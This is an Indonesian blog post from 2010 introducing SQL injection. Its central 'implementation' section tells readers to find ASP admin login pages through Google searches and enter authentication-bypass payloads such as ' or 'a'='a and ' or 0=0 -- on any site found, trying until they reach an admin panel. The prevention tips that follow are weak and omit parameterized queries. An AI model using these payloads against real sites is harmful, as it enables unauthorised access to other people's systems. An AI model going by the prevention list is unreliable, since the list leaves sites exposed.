Selasa, 02 Februari 2010

Sekilas tentang SQL injection

0 comments
SQL Injection merupakan sebuah cara yang dilakukan oleh seorang hacker untuk masuk kedalam sistem menggunakan sebuah kesalahan yang terjadi pada satu syntax didalam sebuah program PHP/ASP sebuah web. Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server. Nah biasanya hacker akan mencoba melakukan uji ketahanan sebuah website dengan mencari celah masuk! Jika udah dapat, si hacker akan mencoba untuk melakukan manipulasi. Seorang hacker dapat menyusup ke sebuah situs dan mengobrak-abrik isi database dengan cara sql injection. Cara ini sebenarnya sama saja seorang pencuri yang akan merampok sebuah rumah kosong, anggap saja si pencuri adalah attacker/hacker dan rumah kosong tersebut adalah situs web trus cara pertama yang dilakukan pencuri adalah dengan memantau dan mempelajari rumah tersebut dan mencari cara bagaimana agar dapat masuk kerumah tersebut, begitu juga dengan attacker cara pertama yang dilakukan dengan menentukan lubang mana yang bisa di-inject dengan jalan berjalan-jalan (enumeration) dulu di site tsb. Ada 2 model cara input parameter, cara memasukkan lewat input box dan memasukkannya lewat alamat URL.

SQL Injection attack memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL maksudnya adalah memanfaatkan teknik string building untuk mengeksekusi/menjalankan kode SQL. Jadi prinsip dasar SQL Injection sebenarnya memanfaatkan kode insecure (tidak aman) atas sebuah sistem yg terhubung ke internet dalam upaya melangkahi command (perintah) dan secara langsung menuju ke database untuk kemudian mengambil keuntungan dari sistem yg dijamin aman untuk melakukan pengambilan atau pengubahan atau lain sebagainya oleh penyerang. Keuntungan yg diambil adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.

Implementasi SQL Injection

1) Masuk ke google atau browse yg lain

2) Masukkan salah satu keyword berikut

"/admin.asp"

"/login.asp"

"/logon.asp"

"/adminlogin.asp"

"/adminlogon.asp"

"/admin_login.asp"

"/admin_logon.asp"

"/admin/admin.asp"

"/admin/login.asp"

"/admin/logon.asp"

{bisa tambahi sendiri sesuai keinginan kamu}





3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan kamu akan menjumpai sebuah halaman login (user name danpassword).

4) Masukkan kode berikut :

User name : ` or `a'='a

Password : ` or `a'='a (termasuk tanda petiknya)

5) Jika berhasil, kemungkinan kamu akan masuk ke admin panel, di mana kamu bisa menambahkan berita, mengedit user yang lain, merubah about, dan lain-lain.

6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.

7) Banyak variasi kode yang mungkin, antara lain :

User name : admin

Password : ` or `a'='a

atau bisa dimasukkan ke dua–duanya misal :

‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;

“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x

8) Cobalah sampai berhasil hingga kamu bisa masuk ke admin panel



Cara pencegahan SQL INJECTION

  1. Batasi panjang input box (jika memungkinkan), dengan

    cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.

  2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).

  3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.

  4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.

  5. Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.

Hacker tidak merusak...

Hacker merupakan julukan yang diberikan kepada seseorang yang mampu menyusup ke jaringan suatu komputer tanpa diketahui. Semakin aman suatu sistem jaringan komputer maka sang hacker akan semakin tertantang untuk menembus celah keamanan pada jaringan komputer tersebut. Pada dasarnya seorang hacker hanya mempunyai keinginan untuk menembus celah keamanan jaringan komputer tanpa bermaksud merusak ataupun menghapus data dari jaringan tersebut. Bahkan dalam komunitas hacker ada kode-kode etik yang harus diambil sebagai pegangan seperti :

  • Dilarang untuk menghapus / merusak apapun dalam sistem jaringan tersebut.
  • Bila selesai masuk ke jaringan harus mengembalikan sesuatu seperti semula.
  • Memberitahukan ke sang admin bahwa sistem jaringan telah berhasil ditembus dan bahkan ada yang memberi petunjuk ke admin mana saja celah yang dapat ditembus oleh sang hacker.

Sebelum istilah cracker diperkenalkan, sebenarnya ada 2 julukan yakni hacker putih dan hacker hitam. Cracker mirip sekali dengan hacker tetapi biasanya tujuan dari seorang cracker adalah negatif seperti merusak jaringan, mencuri data, mengcrack program,dsb.



Leave a Reply

Ada pertanyaan dengan posting ini?
silahkan isi komentar, pada bagian "Beri komentar sebagai" pilih dengan "Name/URL" (nama dan alamat web, alamat web bisa dikosongkan) ...